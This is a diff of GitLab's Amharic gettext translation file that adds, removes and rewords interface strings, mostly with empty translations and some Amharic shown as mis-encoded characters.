msgstr[1] "%d የተስተካከሉ የáተሻ á‹áŒ¤á‰¶á‰½"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] "%d መድረስ የማይችሉት merge requestá¢"
msgstr[1] "%d መድረስ የማይችáˆá‰¸á‹ merge requestsá¢"
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d መለኪያ"
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] "%d መለያ"
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} እና %{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] "ከ%{name} %{count} áቃዶች ያስáˆáˆáŒ‹áˆ‰"
msgid "%{count} approvals from %{name}"
msgstr "ከ%{name} %{count} áቃዶች"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr "%{count} á‹á‹­áˆŽá‰½ ተáŠáŠ­á‰°á‹‹áˆ"
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr "በ%{name} á‹áˆµáŒ¥ %{resultsString} ተገáŠá‰·áˆ"
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
